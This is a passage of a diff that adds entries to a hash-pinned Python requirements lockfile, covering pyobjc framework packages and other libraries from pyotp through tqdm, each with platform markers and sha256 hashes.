--hash=sha256:8a312d090a0f51651e63d9001e6cc7c1aa04ceccf23b494cbf84b7fd3d122071 +pyobjc-framework-metalperformanceshadersgraph==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:9b8b014e8301c2ae608a25f73bbf23c8f3f73a6f5fdbafddad509a21b84df681 \ + --hash=sha256:d25225aab4edc6f786b29fe3d9badc4f3e2d0caeab1054cd4f224258c1b6dbe2 +pyobjc-framework-metrickit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:a79d37575489916c35840e6a07edd958be578d3be7a3d621684d028d721f0b85 +pyobjc-framework-mlcompute==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:975150725e919f8d3d33f830898f3cd2fd19a440999faab320609487f4eae19d \ + --hash=sha256:f6c4c3ea6a62e4e3927abf9783c40495aa8bb9a8c89def744b0822da58c2354b +pyobjc-framework-modelio==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:fad0fa2c09d468ac7e49848e144f7bbce6826f2178b3120add8960a83e5bfcb7 +pyobjc-framework-multipeerconnectivity==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:a3dacca5e6e2f1960dd2d1107d98399ff81ecf54a9852baa8ec8767dbfdbf54b +pyobjc-framework-naturallanguage==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:65a780273d2cdd12a3fa304e9c9ad822cb71facd9281f1b35a71640c53826f7c \ + --hash=sha256:ab1fc711713aa29c32719774fc623bf2d32168aed21883970d4896e901ff4b41 +pyobjc-framework-netfs==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:9c49f050c8171dc37e54d05dd12a63979c8b6b565c10f05092923a2250446f50 \ + --hash=sha256:f202e8e0c2e73516d3eac7a43b1c66f9911cdbb37ea32750ed197d82162c994a +pyobjc-framework-network==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:f6df7a58a1279bbc976fd7e2efe813afbbb18427df40463e6e2ee28fba07d2df +pyobjc-framework-networkextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:2b74b430ca651293e5aa90a1e7571b200d0acbf42803af87306ac8a1c70b0d4b +pyobjc-framework-notificationcenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:0b938053f2d6b1cea9db79313639d7eb9ddd5b2a5436a346be0887e75101e717 +pyobjc-framework-opendirectory==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:319ac3424ed0350be458b78148914468a8fc13a069d62e7869e3079108e4f118 \ + --hash=sha256:bb4219b0d98dff4a952c50a79b1855ce74e1defd0d241f3013def5b09256fd7b +pyobjc-framework-osakit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:1b0c0cc537ffb8a8365ef9a8b46f717a7cc2906414b6a3983777a6c0e4d53d5a \ + --hash=sha256:920987da78b67578367c315d208f87e8fab01dd35825d72242909f29fb43c820 +pyobjc-framework-oslog==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:b2af409617e6b68fa1f1467c5a5679ebf59afd0cdc4b4528e1616059959a7979 +pyobjc-framework-passkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:d2408b58960fca66607b483353c1ffbd751ef0bef394a1853ec414a34029566f +pyobjc-framework-pencilkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:9c173e0fe70179feadc3558de113a8baad61b584fe70789b263af202bfa4c6be \ + --hash=sha256:b7824907bbcf28812f588dda730e78f662313baf40befd485c6f2fcb49018019 +pyobjc-framework-phase==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:a940d81ac5c393ae3da94144cf40af33932e0a9731244e2cfd5c9c8eb851e3fc \ + --hash=sha256:cfa61f9c6c004161913946501538258aed48c448b886adbf9ed035957d93fa15 +pyobjc-framework-photos==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:c8c3b25b14a2305047f72c7c081ff3655b3d051f7ed531476c03246798f8156d +pyobjc-framework-photosui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:1c7ffab4860ce3e2b50feeed4f1d84488a9e38546db0bec09484d8d141c650df +pyobjc-framework-preferencepanes==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:6e4a55195ec9fc921e0eaad6b3038d0ab91f0bb2f39206aa6fccd24b14a0f1d8 \ + --hash=sha256:6ee5f5a7eb294e03ea3bac522ac4b69e6dc83ceceff627a0a2d289afe1e01ad9 +pyobjc-framework-pushkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:540769a4aadc3c9f08beca8496fe305372501eb28fdbca078db904a07b8e10f4 +pyobjc-framework-quartz==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:a57f35ccfc22ad48c87c5932818e583777ff7276605fef6afad0ac0741169f75 +pyobjc-framework-quicklookthumbnailing==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:1614dc108c1d45bbf899ea84b8691288a5b1d25f2d6f0c57dfffa962b7a478c3 \ + --hash=sha256:4d1863c6c83c2a199c1dbe704b4f8b71287168f4090ed218d37dc59277f0d9c9 +pyobjc-framework-replaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:6919baa123a6d8aad769769fcff87369e13ee7bae11b955a8185a406a651061b +pyobjc-framework-safariservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:39a17df1a8e1c339457f3acbff0dc0eae4681d158f9d783a11995cf484aa9cd0 +pyobjc-framework-safetykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:c6b44e0cf69e27584ac3ef3d8b771d19a7c2ccd9c6de4138d091358e036322d4 +pyobjc-framework-scenekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:82941f1e5040114d6e2c9fd35507244e102ef561c637686091b71a7ad0f31306 +pyobjc-framework-screencapturekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.4' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:11443781a30ed446f2d892c9e6642ca4897eb45f1a1411136ca584997fa739e0 +pyobjc-framework-screensaver==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:d5fbc9dc076cc574ead183d521840b56be0c160415e43cb8e01cfddd6d6372c2 +pyobjc-framework-screentime==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:50a4e4ab33d6643a52616e990aa1c697d5e3e8f9f9bdab8d631e6d42d8287b4f \ + --hash=sha256:9bb8269456bbb674e1421182efe49f9168ceefd4e7c497047c7bf63e2f510a34 +pyobjc-framework-scriptingbridge==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:604445c759210a35d86d3e0dfcde0aac8e5e3e9d9e35759e0723952138843699 +pyobjc-framework-searchkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:13a194eefcf1359ce9972cd92f2aadddf103f3efb1b18fd578ba5367dff3c10c \ + --hash=sha256:9c9d6ca71cef637ccc3627225fb924a460b3d0618ed79bb0b3c12fcbe9270323 +pyobjc-framework-security==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:dabcee6987c6bae575e2d1ef0fcbe437678c4f49f1c25a4b131a5e960f31a2da +pyobjc-framework-securityfoundation==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:25f2cf10f80c122f462e9d4d43efe9fd697299c194e0c357e76650e234e6d286 \ + --hash=sha256:b3c4cf70735a93e9df40f3a14478143959c415778f27be8c0dc9ae0c5b696b92 +pyobjc-framework-securityinterface==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:e7aa6373e525f3ae05d71276e821a6348c53fec9f812b90eec1dbadfcb507bc9 +pyobjc-framework-securityui==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:3cdb101b03459fcf8e4064b90021d06761003f669181e02f43ff585e6ba2403d \ + --hash=sha256:e80c93e8a56bf89e4c0333047b9f8219752dd6de290681e9e2e2b2e26d69e92d +pyobjc-framework-sensitivecontentanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:5b310515c7386f7afaf13e4632d7d9590688182bb7b563f8026c304bdf317308 \ + --hash=sha256:dbb78f5917f986a63878bb91263bceba28bd86fc381bad9461cf391646db369f +pyobjc-framework-servicemanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:104f56557342a05ad68cd0c9daf63b7f4678957fe1f919f03a872f1607a50710 \ + --hash=sha256:90a07164da49338480e0e135b445acc6ae7c08549a2037d1e512d2605fedd80a +pyobjc-framework-sharedwithyou==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:ece3a28a3083d0bcad0ac95b01f0eb699b9d2d0c02c61305bfd402678753ff6e +pyobjc-framework-sharedwithyoucore==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:790050d25f47bda662a9f008b17ca640ac2460f2559a56b17995e53f2f44ed73 +pyobjc-framework-shazamkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:c6e3c9ab8744d9319a89b78ae6f185bb5704efb68509e66d77bcd1f84a9446d6 +pyobjc-framework-social==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:ab5878c47d7a0639704c191cee43eeb259e09688808f0905c42551b9f79e1d57 \ + --hash=sha256:fbc09d7b00dad45b547f9b2329f4dcee3f5a50e2348de1870de0bd7be853a5b7 +pyobjc-framework-soundanalysis==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:42cd25b7e0f343d8b59367f72b5dae96cf65696bdb8eeead8d7424ed37aa1434 \ + --hash=sha256:6cf983c24fb2ad2aa5e7499ab2d30ff134d887fe91fd2641acf7472e546ab4e5 +pyobjc-framework-speech==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:d382977208c3710eacea89e05eae4578f1638bb5a7b667c06971e3d34e96845c +pyobjc-framework-spritekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:914da6e846573cac8db5e403dec9a3e6f6edf5211f9b7e429734924d00f65108 +pyobjc-framework-storekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:85acc30c0bfa120b37c3c5ac693fe9ad2c2e351ee7a1f9ea6f976b0c311ff164 +pyobjc-framework-symbols==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:0e09b7813ef2ebdca7567d3179807444dd60f3f393202b35b755d4e1baf99982 \ + --hash=sha256:1de6fc3af15fc8d5fd4869663a3250311844ec33e99ec8a1991a352ab61d641d +pyobjc-framework-syncservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:0f141d717256b98c17ec2eddbc983c4bd39dfa00dc0c31b4174742e73a8447fe +pyobjc-framework-systemconfiguration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:f30ed0e9a8233fecb06522e67795918ab230ddcc4a18e15494eff7532f4c3ae1 +pyobjc-framework-systemextensions==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:8ff9f0aad14dcdd07dd47545c1dd20df7a286306967b0a0232c81fcc382babe6 +pyobjc-framework-threadnetwork==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:55021455215a0d3ad4e40152f94154e29062e73655558c5f6e71ab097d90083e \ + --hash=sha256:73a32782f44b61ca0f8a4a9811c36b1ca1cdcf96c8a3ba4de35d8e8e58a86ad5 +pyobjc-framework-uniformtypeidentifiers==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:6e2e8ea89eb8ca03bc2bc8e506fff901e71d916276475c8d81fbf0280059cb4c \ + --hash=sha256:86c499bec8953aeb0c95af39b63f2592832384f09f12523405650b5d5f1ed5e9 +pyobjc-framework-usernotifications==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:38fc763afa7854b41ddfca8803f679a7305d278af8a7ad02044adc1265699996 +pyobjc-framework-usernotificationsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:18e0182bddd10381884530d6a28634ebb3280912592f8f2ad5bac2a9308c6a65 \ + --hash=sha256:b84d73d90ab319acf8fad5c59b7a5e2b6023fbb2efd68c58b532e3b3b52f647a +pyobjc-framework-videosubscriberaccount==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:2dd78586260fcee51044e129197e8bf2e157176e02babeec2f873afa4235d8c6 \ + --hash=sha256:d5a95ae9f2a6f0180a5bbb10e76c064f0fd327aae00a2fe90aa7b65ed4dad7ef +pyobjc-framework-videotoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:a27985656e1b639cdb102fcc727ebc39f71bb1a44cdb751c8c80cc9fe938f3a9 +pyobjc-framework-virtualization==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:4221ee5eb669e43a2ff46e04178bec149af2d65205deb5d4db5fa62ea060e022 +pyobjc-framework-vision==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:26590512ee7758da3056499062a344b8a351b178be66d4b719327884dde4216b +pyobjc-framework-webkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:27e701c7aaf4f24fc7e601a128e2ef14f2773f4ab071b9db7438dc5afb5053ae +pyotp==2.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:346b6642e0dbdde3b4ff5a930b664ca82abfa116356ed48cc42c7d6590d36f63 \ + --hash=sha256:81c2e5865b8ac55e825b0358e496e1d9387c811e85bb40e71a3b29b288963612 +pyparsing==3.2.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:2df8d5b7b2802ef88e8d016a2eb9c7aeaa923529cd251ed0fe4608275d4105b6 \ + --hash=sha256:e38a4f02064cf41fe6593d328d0512495ad1f3d8a91c4f73fc401b3079a59a5e +pypdf==6.19.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:7e5d6e730e7dae87d560a2cee218b852f6498c8be61966f3cd02ead971e48d14 \ + --hash=sha256:bbc43aca292369ccc6cbc8a921991ecf2538a3587ab5a116eff06c321d647155 +pyperclip==1.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:244035963e4428530d9e3a6101a1ef97209c6825edab1567beac148ccc1db1b6 \ + --hash=sha256:299403e9ff44581cb9ba2ffeed69c7aa96a008622ad0c46cb575ca75b5b84273 +python-dateutil==2.9.0.post0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3 \ + --hash=sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427 +python-docx==1.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:3fd478f3250fbbbfd3b94fe1e985955737c145627498896a8a6bf81f4baf66c7 \ + --hash=sha256:7bc9d7b7d8a69c9c02ca09216118c86552704edc23bac179283f2e38f86220ce +python-dotenv==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a \ + --hash=sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3 +python-frontmatter==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:335465556358d9d0e6c98bbeb69b1c969f2a4a21360587b9873bfc3b213407c1 \ + --hash=sha256:7118d2bd56af9149625745c58c9b51fb67e8d1294a0c76796dafdc72c36e5f6d +python-json-logger==4.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:af09c9daf6a813aa4cc7180395f50f2a9e5fa056034c9953aec92e381c5ba1e2 \ + --hash=sha256:f58e68eb46e1faed27e0f574a55a0455eecd7b8a5b88b85a784519ba3cff047f +python-multipart==0.0.31 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:8408153d68a9773291fc1da39a8b85a50044bddbabd2dd72e9229776b7b15e28 \ + --hash=sha256:fc631183bb13e56db3158a4909908dfb2e23565286744e798241e63750e5d680 +pyyaml==6.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:68ccc6023a3400877818152ad9a1033e3db8625d899c72eacb5a668902e4d652 \ + --hash=sha256:70b189594dbe54f75ab3a1acec5f1e3faa7e8cf2f1e08d9b561cb41b845f69d5 \ + --hash=sha256:80bab7bfc629882493af4aa31a4cfa43a4c57c83813253626916b8c7ada83476 \ + --hash=sha256:8b9c7197f7cb2738065c481a0461e50ad02f18c78cd75775628afb4d7137fb3b \ + --hash=sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e +redis==7.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:49e231fbc8df2001436ae5252b3f0f3dc930430239bfeb6da4c7ee92b16e5d33 \ + --hash=sha256:6163c1a47ee2d9d01221d8456bc1c75ab953cbda18cfbc15e7140e9ba16ca3a5 +referencing==0.36.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:df2e89862cd09deabbdba16944cc3f10feb6b3e6f18e902f7cc25609a34775aa \ + --hash=sha256:e8699adbbf8b5c7de96d8ffa0eb5c158b3beafce084968e2ea8bb08c6794dcd0 +regex==2025.9.18 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:039f11b618ce8d71a1c364fdee37da1012f5a3e79b1b2819a9f389cd82fd6282 \ + --hash=sha256:06104cd203cdef3ade989a1c45b6215bf42f8b9dd705ecc220c173233f7cba41 \ + --hash=sha256:4f130c3a7845ba42de42f380fff3c8aebe89a810747d91bcf56d40a069f15352 \ + --hash=sha256:5514b8e4031fdfaa3d27e92c75719cbe7f379e28cacd939807289bce76d0e35a \ + --hash=sha256:7cc9e5525cada99699ca9223cce2d52e88c52a3d2a0e842bd53de5497c604164 \ + --hash=sha256:92a8e375ccdc1256401c90e9dc02b8642894443d549ff5e25e36d7cf8a80c783 \ + --hash=sha256:9feb29817df349c976da9a0debf775c5c33fc1c8ad7b9f025825da99374770b7 \ + --hash=sha256:c5ba23274c61c6fef447ba6a39333297d0c247f53059dba0bca415cac511edc4 \ + --hash=sha256:d3bc882119764ba3a119fbf2bd4f1b47bc56c1da5d42df4ed54ae1e8e66fdf8f \ + --hash=sha256:d488c236ac497c46a5ac2005a952c1a0e22a07be9f10c3e735bc7d1209a34773 \ + --hash=sha256:dec57f96d4def58c422d212d414efe28218d58537b5445cf0c33afb1b4768571 +reportlab==4.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:299b3b0534e7202bb94ed2ddcd7179b818dcda7de9d8518a57c85a58a1ebaadb \ + --hash=sha256:cb2f658b7f4a15be2cc68f7203aa67faef67213edd4f2d4bdd3eb20dab75a80d +requests==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:3324635456fa185245e24865e810cecec7b4caf933d7eb133dcde67d48cee69b \ + --hash=sha256:c7ebc5e8b0f21837386ad0e1c8fe8b829fa5f544d8df3b2253bff14ef29d7652 +requests-oauthlib==2.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:7dd8a5c40426b779b0868c404bdef9768deccf22749cde15852df527e6269b36 \ + --hash=sha256:b3dffaebd884d8cd778494369603a9e7b58d29111bf6b41bdc2dcd87203af4e9 +rich==14.3.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:793431c1f8619afa7d3b52b2cdec859562b950ea0d4b6b505397612db8d5362d \ + --hash=sha256:b8daa0b9e4eef54dd8cf7c86c03713f53241884e814f4e2f5fb342fe520f639b +rich-rst==1.3.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:a1196fdddf1e364b02ec68a05e8ff8f6914fee10fbca2e6b6735f166bb0da8d4 \ + --hash=sha256:a99b4907cbe118cf9d18b0b44de272efa61f15117c61e39ebdc431baf5df722a +rpds-py==0.27.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0dc5dceeaefcc96dc192e3a80bbe1d6c410c469e97bdd47494a7d930987f18b2 \ + --hash=sha256:12ed005216a51b1d6e2b02a7bd31885fe317e45897de81d86dcce7d74618ffff \ + --hash=sha256:1b207d881a9aef7ba753d69c123a35d96ca7cb808056998f6b9e8747321f03b8 \ + --hash=sha256:26a1c73171d10b7acccbded82bf6a586ab8203601e565badc74bbbf8bc5a10f8 \ + --hash=sha256:2efe4eb1d01b7f5f1939f4ef30ecea6c6b3521eec451fb93191bf84b2a522418 \ + --hash=sha256:3ce0cac322b0d69b63c9cdb895ee1b65805ec9ffad37639f291dd79467bee675 \ + --hash=sha256:466bfe65bd932da36ff279ddd92de56b042f2266d752719beb97b08526268ec5 \ + --hash=sha256:9d992ac10eb86d9b6f369647b6a3f412fc0075cfd5d799530e84d335e440a002 \ + --hash=sha256:a512c8263249a9d68cac08b05dd59d2b3f2061d99b322813cbcc14c3c7421998 \ + --hash=sha256:dd2135527aa40f061350c3f8f89da2644de26cd73e4de458e79606384f4f68e7 \ + --hash=sha256:f39f58a27cc6e59f432b568ed8429c7e1641324fbe38131de852cd77b2d534b0 +screeninfo==0.8.1 ; platform_machine == 'x86_64' and platform_system != 'darwin' and sys_platform == 'linux' \ + --hash=sha256:9983076bcc7e34402a1a9e4d7dabf3729411fd2abb3f3b4be7eba73519cd2ed1 \ + --hash=sha256:e97d6b173856edcfa3bd282f81deb528188aff14b11ec3e195584e7641be733c +secretstorage==3.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0ce65888c0725fcb2c5bc0fdb8e5438eece02c523557ea40ce0703c266248137 \ + --hash=sha256:f04b8e4689cbce351744d5537bf6b1329c6fc68f91fa666f60a380edddcd11be +six==1.17.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274 \ + --hash=sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81 +sniffio==1.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2 \ + --hash=sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc +socksio==1.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:95dc1f15f9b34e8d7b16f06d74b8ccf48f609af32ab33c608d08761c5dcbb1f3 \ + --hash=sha256:f88beb3da5b5c38b9890469de67d0cb0f9d494b78b106ca1845f96c10b91c4ac +sortedcontainers==2.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88 \ + --hash=sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0 +soupsieve==2.9.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:4a55d8cf158a9c2e587fa4922f1bbb91d68ac829e2d6f25403a85747c71daf74 \ + --hash=sha256:8089a26fd974ca7a1f30276d3d8492ab266ab15af581642dfe8aa162e0c1c823 +sse-starlette==3.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:16b7cbfddbcd4eaca11f7b586f3b8a080f1afe952c15813455b162edea619e5a \ + --hash=sha256:ccd60b5765ebb3584d0de2d7a6e4f745672581de4f5005ab31c3a25d10b52b3a +starlette==1.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:05d0213193f2fbaae60e2ecb593b4add4262ad4e46536b54abe36f11a71724e0 \ + --hash=sha256:c7372aae11c3c3f26a42df7bd626cec2f47d03483d261d369516a615a53714c6 +tenacity==9.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1169d376c297e7de388d18b4481760d478b0e99a777cad3a9c86e556f4b697cb \ + --hash=sha256:f77bf36710d8b73a50b2dd155c97b870017ad21afe6ab300326b0371b3b05138 +tiktoken==0.12.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:06a9f4f49884139013b138920a4c393aa6556b2f8f536345f11819389c703ebb \ + --hash=sha256:0ee8f9ae00c41770b5f9b0bb1235474768884ae157de3beb5439ca0fd70f3e25 \ + --hash=sha256:4a1a4fcd021f022bfc81904a911d3df0f6543b9e7627b51411da75ff2fe7a1be \ + --hash=sha256:584c3ad3d0c74f5269906eb8a659c8bfc6144a52895d9261cdaf90a0ae5f4de0 \ + --hash=sha256:5edb8743b88d5be814b1a8a8854494719080c28faaa1ccbef02e87354fe71ef0 \ + --hash=sha256:83d16643edb7fa2c99eff2ab7733508aae1eebb03d5dfc46f5565862810f24e3 \ + --hash=sha256:8f317e8530bb3a222547b85a58583238c8f74fd7a7408305f9f63246d1a0958b \ + --hash=sha256:9baf52f84a3f42eef3ff4e754a0db79a13a27921b457ca9832cf944c6be4f8f3 \ + --hash=sha256:b18ba7ee2b093863978fcb14f74b3707cdc8d4d4d3836853ce7ec60772139931 \ + --hash=sha256:d186a5c60c6a0213f04a7a802264083dea1bbde92a2d4c7069e1a56630aef830 \ + --hash=sha256:edde1ec917dfd21c1f2f8046b86348b0f54a2c0547f68149d8600859598769ad +tokenizers==0.23.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1feeeadf865a7915adc25445dea30e9933e593c31bb96c277cee36de227c8bfa \ + --hash=sha256:5075b405006415ea148a992d093699c66eb01952bf59f4d5727089a98bda45a4 \ + --hash=sha256:e3d8f40ea6268047de7046906326abed5134f27d4e8447b23763afe5808c8a96 +tom-swe==1.0.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:57c97d0104e563f15bd39edaf2aa6ac4c3e9444afd437fb92458700d22c6c0f5 \ + --hash=sha256:7b1172b29eb5c8fb7f1975016e7b6a238511b9ac2a7a980bd400dcb4e29773f2 +tqdm==4.67.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:26445eca388f82e72884e0d580d5464cd801a3ea01e63e5601bdff9ba6a48de2 \ + 